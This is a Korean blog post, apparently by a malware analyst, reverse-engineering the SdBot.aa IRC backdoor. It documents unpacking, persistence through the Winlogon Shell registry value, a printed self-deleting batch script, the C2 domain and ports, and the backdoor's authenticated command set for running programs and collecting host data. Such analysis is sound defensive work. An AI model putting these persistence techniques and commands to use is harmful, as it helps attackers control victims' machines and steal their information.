본문 바로가기

[REVERSING]/▶악성코드분석

[악성코드]Backdoor.SdBot.aa/분석

 

1. 개요

 

해당 악성코드는 Explorer.exe windows작업관리자가 시작되면 자동실행 된다. 

즉 컴퓨터가 재부팅되면 c"\windows/system32/System32.exe 프로세스를 자동실행하여 백도어의 역할을 하게 되며, 특정 명령어를 실행하며, 업데이트 기능도 갖고 있다


(1) 생성파일 정보 요약

 

[그림.1]

 

 

2. VirusTotal 점검 내역

https://www.virustotal.com/ko/file/e3b876df63fd0e1313be0dd416f654691193415f0ab6814d8be7c1ffe2f2bb8b/analysis/1362309628/

 

 

[그림.2]

 


3. 상세 분석 내용


(1) Manual FSG Packing


EXEINFO_PE 정보를 확인하면 해당 파일이 FSG V1.33으로 패킹 되어있는것을 확인 할 수 있습니다.

 

[그림.3]

 

FSG Packing의 특징은 헤더의 이름을 숨기는 특징이 있습니다.

그리고 UPX와 비슷하게 첫 번째 섹션의 값들이 0으로 나타나 있습니다.

이 또한 저 부분에 압축을 해제 할 것 같은데요 분석을 진행 하도록 하겠습니다.

 

[그림.4]

 

그림.4에서 왼쪽은 바이너리를 004010004 주소부터 복구를 합니다. 그리고 함수명을 복구하고 004224F9부분에서 OEP로 점프를 하게 됩니다.

 

[그림.5]

 

JE에서 점프하게되면 그림.5의 왼쪽그림과 같이 당황스러운 화면으로 넘어옵니다. 

이것은 어셈블리 명령어가 1바이트씩 각 한줄에 표시 되기 때문에 왼쪽 처럼 보여지는 것인데요.

이것을 분석할 수 있는 코드로 조합하려면 마우스 오른쪽 -> Analysis -> Remote analysis from module을 선택하면 오른쪽에 정상적으로 어셈블리 명령어가 분석하기 쉽게 보여 지게 됩니다.

[그림.6]

 

그 다음 olly_plugin에서 ollydump를 이용하여 덤프 를 뜨는데, Rebuild Import를 체크해제 후 dump합니다.

 

[그림.7]

 

그 다음 Import Rec로 IAT함수들을 복구 합니다.

여기서 Image Base 00400000값을 뺀 00001000값을 OEP로 입력하고 AutoSearch를 클릭합니다.

 

 

[그림.8]

 

그리고 RVA값 5FFC를 이용하여 00405FFC가서 위 아래 스크롤하여 더 있는지 확인하고 없으면, RVA값 그대로 사용합니다.

 

[그림.9]

 

그리고 다시 Get Imports를 클릭하면 valid:YES라고 뜨면 성공입니다.

간혹 NO 라고 나올경우 오른쪽 클릭하여 Cut thunk를 누르면 해결이 된다고 합니다.

 

[그림.10]

 

마지막으로 Fix Dump를 클릭하고 저장할때 그림.6에서 덤프 했던 파일을 클릭하여 저장합니다.

 

[그림.11]

 

그럼 위와 같이 unpacking된 것을 확인 할 수 있습니다.

 

4. 동적 분석

(1). RegShot 사용 결과


파일 바뀜 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell "Explorer.exe C:\Windows\system32\System32.exe" (이전 값="explorer.exe")
 


레지 값 추가됨 C:\Windows\System32\System32.exe


레지 값 바뀜 C:\Users\DK64\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat "Modified=2013-03-03 오후 9:53:41" (이전 값

="Modified=2013-03-03 오후 9:48:36")


레지 값 바뀜 C:\Users\DK64\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat "Modified=2013-03-03 오후 9:53:41" (이전 값="Modified=2013-03-03 오후 9:48:36")


레지 값 바뀜 C:\Users\DK64\AppData\Roaming\Microsoft\Windows\Cookies\index.dat "Modified=2013-03-03 오후 9:53:41" (이전 값="Modified=2013-03-03 오후 9:48:36")


레지 값 삭제됨 C:\Users\DK64\Desktop\Backdoor.SdBot.aa\backdoor.sdbot.aa_unpack_fsg_.exe

 


5. 정적 분석


(1) Windows System32 디렉토리에 백도어 파일 생성


[그림.12]

 

정적 분석을 시작합니다.

처음 GetVersionEx 함수 호출 후 GetTickCount 함수를 호출합니다. 

이 함수는 호출 이후 부터 시간을 카운트 하는데 1초에 1000씩 카운트를 합니다.

아래 DIV 명령에서 반환된 시간 값을 3E8(1000)으로 나누는 것을 확인 할 수 있습니다.

이어서 LoadLibrary와 GetProcAddress함수 를 호출하는데 LoadLibrary로 대상 dll을 호출하여 Base Adress를 얻고, GetProcAddress함수로 해당 dll에서 사용할 함수의 번지를 찾아 함수를 사용 할 수 있도록 함수의 포인터를 리턴해주는 역할을 합니다.

여기서는 각각 ICMP.DLL을 호출하고 해 당 DLL에서 IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho 의 함수를 호출하고 있습니다.

지금까지 보면 ping관련해 사용 될 것으로 추측 할 수 있습니다.

 

[그림.13] 

 

다음으로 GetProcAddress함수로 각각 RegisterServiceProcess, CreateToolhelp32Snapshot, Process32First, Process32Next에 대해 함수포인터를 찾아 반환 하고 있습니다.

그러나 처음 RegisterServiceProcess함수를 호출 할 때 ERROR_PROC_NOT_FOUND로 함수를 찾지 했습니다.

 RegisterServiceProcess 간단히 설명하면 WIN/95/98/ME에서 Ctrl+alt+del 했을때의 작업관리자에서 프로세스 목록이 나오며, 실행되고 있는 프로세스명도 같이 리스트로 보여주게 되는데, 이 함수를 사용하게 되면 실행목록에서 프로세스 명을 숨길 수 있는 기능을 한다고 합니다.

CreateToolhelp32Snapshot, Process32First, Process32Next 함수에 대해서는 이름 그대로 프로세스의 상태(이름,쓰레드 등등)을 스냅샷을 찍고 Process32First로 프로세스 정보를 첫번째로 추출하고 그 다음부터는 Process32Next함수를 사용해서 합니다.

그림.12와 그림.13에서 각각 사용 할 함수들을 세팅하는 과정입니다.

 

[그림.14]

 

Wininet.dll은 인터넷 관련 API 라이브러리 이며, Internet explorer를 위한 라이브러리 이기도 합니다.

첫 라인에서 InternetOpen 함수를 호출하여 인터넷 관련 dll들을 초기화 합니다.

그리고 Wininet.dll을 로드하고 InternetGetConnectedState 함수를 GetProcAdress함수를 사용하여 함수의 번지를 리턴합니다.

 

[그림.15]

 

GetmoduleHandleA함수로 실행되고있는 파일의 풀네임을 버퍼로 저장하고, 아래 GetTempPathA함수로 임시폴더의 경로를 버퍼에 저장합니다.

 

[그림.16] 

 

첫 번째 명령어 주소 004011BF 에서 CreateToolhelp32Snapshot함수를 호출하고 핸들을 리턴합니다.

그리고 Process32First, Process32Next함수를 호출하는데 여기서 실행 된 프로세스 backdoor.sdbot.aa_unpack_fsg_.exe 를 찾을때까지 루프를 계속 돌고 빠저나와 CloseHandle함수를 호출하여 종료합니다.

 

[그림.17]

 

GetTickCount 함수를 호출하고 리턴한 타임값을 인자로 srand의 seed값을 입력하고 랜덤값을 리턴합니다.

System32.exe 아스키 문자열을 ESI레지스터에 세팅하고 0012FF2B버퍼에 strncpy함수로 복사합니다.

그리고 GetSystemDirectory함수로 현제 시스템의 시스템 디렉토리 경로를 0012F9D8 버퍼에 저장하고 wsprintfA함수로 c:\windows\system32\System32.exe경로로 만듭니다.

strcmp함수로 System32.exe경로와 backdoor.SdBot... 경로를 비교하는데 결과는 같지 않습니다. 만약 결과가 같다면 아래 명령어 라인 주소 004012F4에서 JE문으로 점프하게 됩니다. 이러한 이유는 중복실행 방지를 위해서 입니다.

그리고 마지막 DeleteFileA함수로 c:\windows\system32\System32.exe 파일을 삭제합니다.

함수 호출 이후 0이면 실패 0이 아닌값을 리턴하면 성공인데 제가 분석하는 시스템에서 System32.exe 파일이 없으므로 0을 리턴하여 삭제시도는 실패하게 됩니다.

 

 

[그림.18]

 

CopyFile함수를 호출하는데 c:\users\dk64\desktop\backdoor.sdbot.aa\backdoor.sdbot.aa_unpack_fsg.exe 파일을 그대로 c:\windows\system32\System32.exe 이름으로 변경하여 복사를 합니다.

 

(2) r0815.bat 파일 생성

[그림.19]

 

c:\windows\system32\r0815.bat 경로를 wsprintf함수로 만들고, CreateFile함수로 파일을 생성합니다.


[그림.20]


첫 번째에서 r0518.bat  파일경로와 backdoor.sdbot.aa_unpack_fsg.exe 경로를 스택에 저장하고 명령어 주소 004013A1에서 wsprintf를 호출합니다.

그리고 WriteFile함수로 r0518.bat 에 특정 문자열을 작성하고 핸들을 닫는데 batch파일의 내용은 아래와 같습니다.

 

@echo off
 :Rep
 del "C:\Users\DK64\Desktop\Backdoor.SdBot.aa\backdoor.sdbot.aa_unpack_fsg_copy.exe"
 if exist "C:\Users\DK64\Desktop\Backdoor.SdBot.aa\backdoor.sdbot.aa_unpack_fsg_copy.exe" goto Rep
 del "C:\Windows\system32\r0815.bat"


내용은 현재 실행 된 프로그램을 삭제하고 생성된 batch파일도 삭제하라는 명령입니다.

하지만 이상태로 삭제하게 되면 함수 호출실패가 됩니다.

왜냐~! 삭제하려는 프로세스가 ollydbg로 사용하고 있기 때문에 삭제가 되지않습니다.

그래서 복사본 파일을 만들고 batch파일 내용을 테스트용으로 삭제 할 파일명으로 변경합니다.

 

[그림.21]

 

그리고 실행하면 위와 같이 정상적으로 삭제 됩니다.

 

[그림.22]

 

지금까지 패턴을 정리하면, backdoor.sdbot.aa_unpack_fsg.exe를 실행시키자 System32.exe로 이름을 변경하여 c:\windows\system32\ 하위에 복사를 해놓고 r0518.bat 파일을 생성하여 명령어로 backdoor.sdbot.aa_unpack_fsg.exe, r0518을 삭제하였습니다.

그리고 CreateProcess함수로 c:\windows\system32\System32.exe를 실행합니다.

 

 

[그림.23]

 

CreateProcess로 악성코드 복사본을 프로세스로 실행시켜 두고 exit 함수를 호출하여 종료합니다.

 

 (3) System32.exe 분석


[그림.24]

 

그리고 프로세스로 악성코드가 살아있기 때문에 olly에서 attach로 System32.exe 파일을 열어서 이어서 분석을 진행 해야 합니다.

  

[그림.25]

 

악성코드에서 "Explorer.exe C:\Windows\system32\System32.exe" ASCII 문자열을 만들어 놓습니다.

그리고 RegCreateKeyEX 함수로 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon 디렉토리를 생성하고 RegSetValueEx함수로 Shell파일에 Explorer.exe C:\Windows\system32\System32.exe문자열을 입력합니다.

 

 

[그림.26]

 

이로 인하여 사용자는 재부팅 할 때 Explorer.exe(windows 탐색기) 프로세스가 로드되는 순간 System32.exe(악성코드)가 같이 실행되어 사용자 의도와 상관없이 악성코드를 실행 하게 됩니다.

 

 

[그림.27]

 

그리고 "C:\Windows\system32", "c:\Users\DK64\AppData\Local\Temp\", "C:\Windows" 3개의 시스템, 임시, 윈도우 디렉토리 명을 가져옵니다.

 

 

[그림.28]

 

그리고 2013.3.7일 19:20:53초 와 같이 현재 파일이 실행 된 일자와 시간 정보도 가져옵니다.

 

 

[그림.29]

 

inet_addr 함수로 rbase01.ath.cx를 인자로 호출하나 실패하여 gethostbyname함수로 호스트 정보를 가져오는대 당연히 실패합니다.

이유는 지금 내 컴퓨터 호스트파일은 rbase01.ath.cx 에 대한 ip정보를 모르기 때문입니다. 

 

[그림.30]

 

위와 같이 호스트파일을 변경시켜 줘야 디버깅에서 다음 로직으로 이어서 분석이 가능합니다.

분석을 하기위해 로컬 루프백IP를 지정해 주었습니다.

 

 

[그림.31]


그림.31에서는 랜덤값을 생성하는 함수 내부입니다.

GetTickCount함수로 함수호출 이후의 Time값을 Seed로 Srand함수와 rand함수를 호출하여 난수를 발생합니다. 그리고 00401EAD와 00401EDD의 LEA 명령문을 보면 PTR DS:[EDX*4+40621C], PTR DS:[EDX*4+40621C]처럼 명령문이 구성되어 있습니다. 이것은 난수를 구해서 AX,DX값을 IDIV ECX로 나누고 그 값에 4를 곱 합니다.

그리고 나온값을 0040621C주소의 저장된값의 위치로부터 나눗셈하여 나온 값만큼의 거리에 있는 값을 구하게됩니다.

즉 0040621C(위치)+EDX*4(EDX에 4를 곱한 만큼의 위치의값이 되겠습니다.

 

 

[그림.32]

 

여기서 스레드를 실행하고 socket을 연다음 connect하는데 그림 29에서 6667번포트를 할당했었습니다.

그래서 공격자는 6667번포트를 열어놓고 기다리면 이 백도에어에서 connect함수를 호출하여 연결하고 00401CAA의 JNZ 문에 의하여 로직을 실행하게 됩니다.

그리고 만약 connect가 실패할 경우 CreateThread 함수 로직이 실행됩니다.


(4) Thread 분석


Thread가 하는 역할에 대해 분석을 하겠습니다.

 

 

 

[그림.33]

 

CreateThread 함수를 호출하여 00401D87의 Thread를 시작합니다.

스레드를 진입하여 호출되는 함수를 보면 socket, WSAAsyncSelect, ntohs, bind, listen, accept 입니다.

socket함수로 소켓을 생성하고, WSAAsyncSelect 함수가 나오는데 이 함수는 Windows GUI 어플리케이션 프로그램 에서 사용하는 함수이고 콘솔모드 끼리의 소켓에서는 사용할 수 없다고 합니다. 함수의 역할은 서버가 멀티쓰레드를 사용하여 여러개의 소켓 처리를 해야 할때가 있는데 그 역할을 이 함수 하나로 해줍니다. GUI에서 사용하고 콘솔에서는 사용할 수 없다는데 왜 그런것일까요? 개인적인 생각으로는 백도어(Server)에 접속하고 컨트롤하는 Client프로그램이 GUI가 아닐까 생각 됩니다.

다음으로 ntohs 함수로 71h(113) 인자로 호출 하게 됩니다.

함수의 역할은 네트워크 바이트 오더(빅엔디안)를 호스트바이트오더(리틀엔디안)으로 바꾸어 줍니다.

 

[그림.34]

 

그리고 이어서 다음 과 같이 함수를 호출하여 포트를 열고 대기를 합니다.

bind : 주소부여 - 여기서 ntons 함수사용 IP와 Port 정의 (구조체로 되어있음.)
listen : 대기상태
accept : 연결확인 및 수신(이 함수가 호출 되어야 그림.33과 같이 113포트가 생성됩니다.)

위에서 설명했듯이 ntons 함수로 71h(113)을 입력하고 함수를 호출합니다. 이어서 bind로 IP와 Port 등 주소체계를 구조체 형식으로 입력하고, listen, accept 함수를 호출하여 113번 포트를 열고 클라이언트가 접속할 때 까지 기다리게 됩니다.

 

 

[그림.35]

 

백도어(Server)에서 113 포트를 열고 있다 클라이언트가 113포트를 통해 접속을 시도하면 accept함수 다음으로 넘어가게 되며, rand값 즉 난수값을 생성합니다.

그리고 노란색 박스를 보면 00401E3E에서 rand함수로 난수를 뽑고 뽑은 수가 EAX레지스터에 세팅이 됩니다.

그 아래 00401E44에는 ECX값을 1770으로 세팅합니다. 그리고 그 아래 00401E49를 보면 IDIV ECX명령어가 나옵니다.

즉 rand함수로 뽑은 랜덤값 EAX를 ECX값 1770으로 나눕니다. 랜덤값(EAX) / 1770(ECX) = EAX(몫을 저장), EDX(나머지를 저장) 하게 되는데 여기서 나머지 값 을 저장한 레지스터 EDX에 1을 증가시켜 출력하게 되어 아래 그림 처럼 476 이라는 랜덤값을 뽑아 내게 됩니다.

 

[그림.36]


악성코드샘플 중 백도어/클라이언트 중에 백도어만 있고 클라이언트 프로그램은 구할 수 없어서 간단하게 클라이언트 프로그램을 만들었습니다.

클라이언트가 서버에 접속하자 백도어(Server)는 그림.35와 같이 476,6667 : USERID : UNIX :Rem3nX 라는 값을 공격자에게 보내게 됩니다.

여기서 그림.34에 보면 난수를 만들어 조합하게 되는데 그 조합된 결과가 USERID : UNIX :Rem3nX 값이 되겠습니다.

 

(5) Thread 이후의 Connect 로직 분석


다음은 그림.32에서 connect 했을때의 로직을 분석하겠습니다.

 

[그림.36]

 

6667번 포트를 열고 공격자가 대기하고 있으면 백도어에서 랜덤포트로 6667번 공격자에게 접속을 하고 명령을 수신하기위해 대기합니다.

 

 

[그림.37]

 

스레드가 실행되었을때는 백도어 자체가 113번 포트를 열어놓고 대기 했다면 connect함수 호출이후 로직은 공격자가 6667번 포트를 열어놓고 백도어가 접속을 하는 방식입니다.

 

 

[그림.39]

connect함수 호출 이후 입니다.

우선 sprintf 함수 호출로 [ SERVER ]-[ rbase01.ath.cx ] 값을 만들고 12F48C에 저장됩니다.

그리고 이 값을 인자로 첫번째 분석대상 00401CE2에서 함수를 호출합니다.

 

[그림.40]

 

함수 내부로 들어오면 처음 GetLocalTime함수로 현재 시간을 반환합니다.

그리고 strncpy함수 호출로 [ 23.3.2013 16:15:9 ]-[ BOOT ] 문자열을 복사합니다.
마지막으로 sprintf함수호출로 [23.3.2013 16:49:23 ]-[ SERVER ]-[ rbase01.ath.cx ]의 값으로 만들고 함수를 빠져 나옵니다.

다시 그림.39에서 strncpy 함수를 호출합니다. 이 때 그림.31에서 랜덤값을 생성 했었는데 그 생성된 랜덤 문자열을 0041E420에 빈 버퍼에 저장함니다.

 

 

[그림.41]

 

다음 그림.39에서 00401D29의 분석대상2번 함수 내부로 들어갑니다.

들어가면00401FB8 의 분석대상의 함수와 sprintf 함수로 yahoo.com 관련 정보를 전송 할 것처럼 보이지만 %s로 전달받는 변수 값은 랜덤값 으로 세팅되게 되어있습니다.

우선 첫번째 00401FB8의 호출되는 함수를 분석하겠습니다.

  

[그림.42]

 

GetTickCount트의 시간값을 seed로 난수를 발생하고 발생된 값을 ECX값으로 나누어 몫을 EAX에 나머지를 EDX에 저장합니다.

그리고 나서 [EDX*4+40621C]의 위치에 있는 값을 가져옵니다.

이러한 값들을 가저와 00401EEC명령어 주소의 strcat함수로 문자열을 조합하고 함수를 빠져 나옵니다.

 

 

[그림.43]

 

이후 그림.41에서 00401FD0의 sprintf 함수를 호출하면 그림.43과 같이 0012F3F0에 값이 저장이 되는데 %s로 전달받은 값은 전부 난수로 생성된 랜덤값으로 저장합니다.

그리고 그림.41에서 00401FE6에 보면 CALL ESI를 호출 하게 되는데 이 함수는 send함수로 공격자 클라이언트에게 값을 전송합니다.

 

 

[그림.44]

 

전송 되면 위와 같이 메세지를 확인 할 수 있습니다. YYXerWal, pA3x0R은 랜덤값이며, 3BB33A는 고정된 값입니다.  (그림.41참조)

 

[그림.45]

 

랜덤 값으로 만든 데이터를 공격자에게 전송 후 백도어는 recv로 공격자에게 메세지를 수신할 수 있도록 대기상태로 돌아갑니다.


[그림.46]

 

원래는 테스트용으로 만든 공격자 클라이언트에 메세지를 보내는 send부분은 구현하지 않았으나 백도어에서 recv로 메세지를 수신대기하기 때문에 클라이언트에 send하는 로직을 추가하여 테스트합니다.

그림.46은 recv 했을때의 결과입니다.

백도어측 에서 recv로 데이터 수신을 하기위해 대기상태가 됩니다. 이 때 공격자측 클라이언트에서 메세지를 받으면 해당메세지를 recv함수로 수신하여 위와 같이 버퍼공간에 저장을 하게됩니다.

 

 

[그림.47]

 

그리고 계속 step over하여 명령어를 실행하다 보면 004020B2에서 함수를 호출합니다.

step in 하여 함수 내부로 들어가 분석을 진행합니다.

 

 

[그림.48]

 

메세지를 받아 함수로 들어옵니다.

그럼 004021BB에서 strstr함수로 "공백:" 뒤에 있는 문자열을 필터링 합니다.

그리고 004021E9,00402206에서 strtok함수로 " " 공백 문자로 문자열 을 필터링합니다.

예로 " :attack ping test" 라는 문자열로 명령어를 내리면 "attack", "ping", "test" 라는 문자열로 나누어 저장을 하게 됩니다.

 

 

[그림.49]

 

00402238에 보면 EAX가 가르키는 값과 EBX(0)값을 비교하여 EAX가 가르키는 값 즉 그림.49에 좌측 하단 헥사값이 명령어가 들어있는 주소값을 가르키며 주소값 하나를 따라 들어가면 우측하단 hex값과 같이 명령어를 확인 할 수 있습니다.

명령어 주소 값이 없을 경우 루프를 빠저나오며 명령어의 길이가 길어도 20개까지만 체크합니다.

 


(6) Backdoor에서 사용되는 명령어 복구


[그림.50]

 

  
004022A0의 주소의 명령라인을 보면 ESI가 가르키는 값과 OA와 비교 합니다.
현재 ESI는 EX)PART NOTICE # VERSION 와 같이 공격자가 입력한 명령문의 첫 문자열 PART의 시작주소를 가르킵니다.
그리고 OA는 아스키코드 문자 중 Line feed(개행, 다음줄)을 가르킵니다.

PART 문자열에서 입력된 첫 번째 1바이트와 OA와 비교하여 같으면 JE명령어로 분기하여 strcmp 문을 바로 확인을 합니다.
strcmp 함수로 공격자가 입력한 문자열의 첫 단어가 PING인지 체크합니다.

제가 테스트하기 위해 입력한 단어는 PING 127.0.0.1 001 005 302 ## 입니다.

그럼 004022F9에서 함수를 호출하고 함수안으로 들어가면 그림.50과 같이 데이터를 공격자에 send합니다.

  

[그림.51]

 

그림.51과 같이 PONG 127.0.0.1을 send하여 공격자가 메세지를 확인 합니다.

 

 

[그림.52]

 

계속 Step over[F8]하여 명령어를 실행하면 분석대상의 함수가 하나더 있는데 Step in[F7]하여 함수 내부로 들어가면 또 정보를 공격자에게  send합니다.

공격자에게 보내는 내용은 그림.52의 좌측 하단의 PONG 127.0.0.1 001 005 302 ## 로 즉 공격자가 백도어에게 입력한 문자를 PING에서 PONG으로 변경만 하고 그대로 회신 합니다.

[그림.53]

 

1.명령어)  001

2.명령어)  302 TEST1 @TEST2

001 또는 005 를 입력하게되면 그림.53의 오른쪽 콘솔 화면처럼 MODE, JOIN, USERHOST 등의 특정 정보를 수신합니다.

그리고 2번 명령어와 같이 입력하게 되면 @뒤의 데이터를 잘라서 빈 버퍼에 저장하고 다시 데이서 수신상태로 돌아가게 됩니다.

그림 우측 하단의 로직을 보면 @뒤의 문자열이 저장되는 값이 a8이라는 변수에 저장되며 이후에 특정 명령어 옵션으로 n을 입력하였을때 이 때 저장했던 a8변수의 값을 인자값으로 하여 함수를 호출하게 됩니다.

 

[그림.54]

 

3.명령어) : PRIVMSG RANDOM #### 0xD12H5SD1OM2

4.명령어) : PRIVMSG RANDOM ##nn 0xD12H5SD1OM2

 

3번 명령어와 같이 입력을 하게되면 #### 뒤의 값을 004029DB에서 strcmp로 확인을 하고 값이 틀릴 경우 함수를 탈출하고 값이 같을 경우 sprintf 함수까지 진행을 해서 LOGIN을 하게 됩니다.

 

 

[그림.55]

 

그리고 처음 로그인을 하게되면 주소값 0012F0F0에 명령어의 첫번째 입력 문자 ":" 를 저장하게 되며 004023CD에서 문자 체크를하고 같을 경우 004023DA에서 MOV DWORD PTR SS:[EBP-10],1 와 같이 값을 채우고 [EBP-10]에 값 1이 들어있지 않다면 실행하지 않습니다.

또 중요한 부분은 004023C6번지의 명령어 LEA EAX,DWORD PTR SS:[EBP-73C] 입니다. EBP-73C의 값을 EAX에 가저와 비교를 하고 비교대상이 맞을 경우에만 [EBP-10]에 1을 저장 할 수 있기때문입니다.

 

[그람.56]

 

이어서 그림 56을 보면 [EBP-73C]에 주소값을 EAX에 저장하고, 입력한 명령어의 첫 공백전의 문자열값 EX)" :" 값을 [EBP-73C]주소에 저장하고 그림.55의 로직을 실행 하게 되어 [EBP-10]에 1을 저장 할 수 있게 되는것입입니다.

결론은 3.명령어) : PRIVMSG RANDOM #### 0xD12H5SD1OM2 와 같이 입력했을때 처음 로그인이 되고 두번째 4.명령어) : PRIVMSG RANDOM ##nn 0xD12H5SD1OM2 명령어와 같이 옵션을 줄때도 앞의 첫 공백전의 문자열을 동일하게 입력해 줘야지만 명령어가 실행이 됩니다.

그렇다면 이와 같이 명령어를 변형 할 수 도있습니다.

3.명령어) usernamerandom! PRIVMSG RANDOM #### 0xD12H5SD1OM2 

4.명령어) usernamerandom! PRIVMSG RANDOM ##nn 0xD12H5SD1OM2

 

[그림.57]

 

그리고 또 0040273D의 명령어 라인에서 CMP AL,BYTE PTR DS:[40700C] 와 체크를 합니다.

이부분은 입력 된 명령어 문자열의 usernamerandom! PRIVMSG RANDOM #### 0xD12H5SD1OM2 두번째 #부분과 [40700C]의 고정된 #값을 비교하여 아래 분기문을 실행하며 이 또한 같지 않을경우 함수를 빠저나와 리턴합니다.

 

 

[그림.58]


 

3.명령어)usernamerandom! PRIVMSG RANDOM #### 0xD12H5SD1OM2 

첫번째 로그인 할 때는 그림.58에서 결정적인 역할을 합니다.

3번명령어의 3번째 4번째의 ##과 비교를 하고 같지 않을경우 3번명령어의 3번째 4번째의 ##부분에 옵션이 들어가게되는데 그 옵션값이 맞는지 체크하는 로직으로 넘어가게 되고 옵션이 아닐경우 로그인하는 로직으로 실행이 됩니다.

  

[그림.59]

 

로그인을 한 후 그림.55에서 설명한것과 같이 [EBP-10]값이 없을경우 함수를 종료합니다.

최종적으로[EBP-10]의 역할은 첫번째 로그인 할때의 usernamerandom! PRIVMSG RANDOM #### 0xD12H5SD1OM2  usernamerandom 값이 두번째 백도어 기능 옵션값을준 명령어 usernamerandom! PRIVMSG RANDOM ##nn 0xD12H5SD1OM2 와같이 입력했을때 usernamerandom값이 같은지 체크하는것입니다.

그리고 00402A99를 보면 다시 명령어의 usernamerandom! PRIVMSG RANDOM ##nn 0xD12H5SD1OM2 n부분이 #이라면 아래 로직을 실행하고 아닐경우 nn명령어의 옵션 구역으로 분기하게 됩니다.

 

 

 

 

[그림.60]

 

(7) Backdoor에서 사용되는 기능 분석


4. 명령어) usernamerandom! PRIVMSG RANDOM ##nn 0xD12H5SD1OM2

4번명령어 옵션 nn일때의 결과로 백도어에 접속한 사용자에게 새로운 랜덤 닉네임을 새로 부여하는 옵션입니다.

 

[그림.61]

 

5. 명령어) usernamerandom! PRIVMSG RANDOM ##l 0xD12H5SD1OM2

공격자가 백도어에 처음 접속을 시도하면 username과 nickname을 랜덤값으로 부여했었습니다.

이때 옵션 l을 주게 되면 랜덤으로 부여된 username을 체크하고 LOGOUT을 하게 되고 백도어는 recv 명령 대기상태가 됩니다.

 

 

[그림.62]

 

6. 명령어) usernamerandom! PRIVMSG RANDOM ##rc 0xD12H5SD1OM2

usernamerandom! PRIVMSG RANDOM ##ds 0xD12H5SD1OM2

usernamerandom! PRIVMSG RANDOM ##remove 0xD12H5SD1OM2

명령어 rc,ds,remove는 quit 명령으로서 소켓 연결을 끊고 백도어 자체도 종료합니다.

 

[그림.63]

6. 명령어) usernamerandom! PRIVMSG RANDOM ###i 0xD12H5SD1OM2

00403DF6에서 GetTickCount 함수로 시간값을 인자로 해서 DIV연산을 진행하여 그림.63의 오른쪽 화면처럼 [0d/0h/57m] 값을 만든 후 send함수로 공격자 클라이언트에 데이터를 전송합니다. 

[그림.64]

 

7. 명령어) usernamerandom! PRIVMSG RANDOM ##st 0xD12H5SD1OM2

st옵션의 명령은 ESI가 가르키는 주소에 0이아닌 값이 있을경우 그 값이 나올때까지의 루프문의 회전 수와 그 문자열을 SEND함수로 전송합니다.

고정적인 문자열중 [BOT] 문자가 있는것 으로보아 봇관련해서 그 갯수를 체크하는 옵션이 아닌지 추측합니다.

 

[그림.65]

 

8. 명령어) usernamerandom! PRIVMSG RANDOM ##le 0xD12H5SD1OM2

le옵션은 각각 LOGIN한시간, SERVER에 접속한 시간, 부팅한시간을 보여줍니다. 

 

[그림.66]

 

10. 명령어) usernamerandom! PRIVMSG RANDOM ###n 0xD12H5SD1OM2

옵션 n은 백도어가 설치된 컴퓨터의 ip정보를 가져 옵니다.

그림.66의 InternetGetconnectedStateEx 함수로 인터넷이 연결되어 있는지 확인하고 GetSockName함수로 백도어가 설치된 PC의 IP정보를 가져옵니다.

그리고 그 결과를 왼쪽 콘솔과 같이 정보를 전송합니다.

 

[그림.67]

 

11. 명령어) usernamerandom! PRIVMSG RANDOM ###s 0xD12H5SD1OM2

s옵션은 백도어가 설치된 PC의 정보를 가저오는 역할을 합니다.

GlobalMemoryStatus함수로 메모리의 정보를 가저오고, GetVersion함수로 운영체제의 종류를 체크하는데 여기서 백도어 자체가 윈도우7이전에 제작되었기 때문에 알수없는(???) 운영체제로 선택되서 반환됩니다. 

그리고 GetComputerName 함수로 컴퓨터 이름을 얻고, GetUserName으로 PC사용자의 이름을 얻습니다.

 

 

 

[그림.68]

 

왼쪽 콘솔화면에서 운영체제의 이름을 제외한 PC정보를 백도어에서 공격자 PC에 전송합니다.

 

[그림.69]

 

12. 명령어) usernamerandom! PRIVMSG RANDOM ##cp 0xD12H5SD1OM2

cp옵션은 Thread드를 생성하여 새로운 소켓을 생성하고 32308번의 포트를 오픈합니다.

 

 

[그림.70]

 

명령어를 입력하자 32308번 포트가 오픈된것을 확인 할 수 있습니다.

그리고 데이터를 수신하기위해 recv함수를 호출합니다.이후 recv관련 함수들의 스샷은 생략하도록 하겠습니다.

 

 

[그림.71]

 

13. 명령어) usernamerandom! PRIVMSG RANDOM ##cp 0xD12H5SD1OM2

cp옵션은 웹캠 드라이버가있는지 탐색하고 드라이버가 있을때 "WEBCAM"이라는 문자열을 공격자에게 전송하고 캠드라이버가 없을때는 "N/A" 를 전송합니다.

capGetDriverDescription 함수를 이용해 첫번째 인자 ESI값 0부터 9까지 드라이버를 체크하며, 만약 드라이버가 있을때 EDI값을 1로 세팅합니다.

 

[그림.72]

 

14. 명령어) usernamerandom! PRIVMSG RANDOM ##dd 0xD12H5SD1OM2

dd 옵션은 백도어가 설치된 PC의 ..\Temp, ..\system32, ..\Windows 디렉토리 경로를 공격자에게 전송합니다.

 

[그림.73]

 

15. 명령어) usernamerandom! PRIVMSG RANDOM ##cn 0xD12H5SD1OM2

cn옵션은 백도어 에서 명령어를 입력할 때 뒤에 특정값을 체크하고 그 값이 없을경우 명령어가 실행이 되지 않습니다.

이 값은 공개된 값이 아니며 백도어 소프트웨어 안에 0xD12H5SD1OM2 의값을 심어놓고 체크합니다. 

cn 옵션은 0xD12H5SD1OM2값을 공격자에게 전송합니다.

 

 

[그림.74]

 

16. 명령어) usernamerandom! PRIVMSG RANDOM ###o notepade.exe 0xD12H5SD1OM2

tx옵션은 공격자가 백도어로 특정 프로그램을 실행 시키기 위한 명령옵션 입니다.

테스트로 notepad.exe파일을 열도록 하였으며, 정상적으로 프로그램이 실행이 됬습니다.

공격자가 2,3차 악의 적인 용도로 실행파일을 실행시키기 위한 용도로 사용하는 옵션으로 추정됩니다.

 

[그림.75]

 

17. 명령어) usernamerandom! PRIVMSG RANDOM ##ts (Domain) 0xD12H5SD1OM2

ts옵션은 백도어가 접속을 시도하는 서버의 도메인 주소를 변경합니다.

백도어에서 사용하는 도메인 주소는 rbase01.ath.cx 였습니다. 하지만 지금은 접속이 되지 않으며, 없는 도메인입니다.

만약 서버를 구축하고 그 서버가 폐쇠 되었거나 사용을 하지 못하게 된다면 다른서버나 예비서버에 접속을 해야 할것입니다.

그래서 이런용도로 사용하지 않을까 추정해봅니다.

 

[그림.76]

 

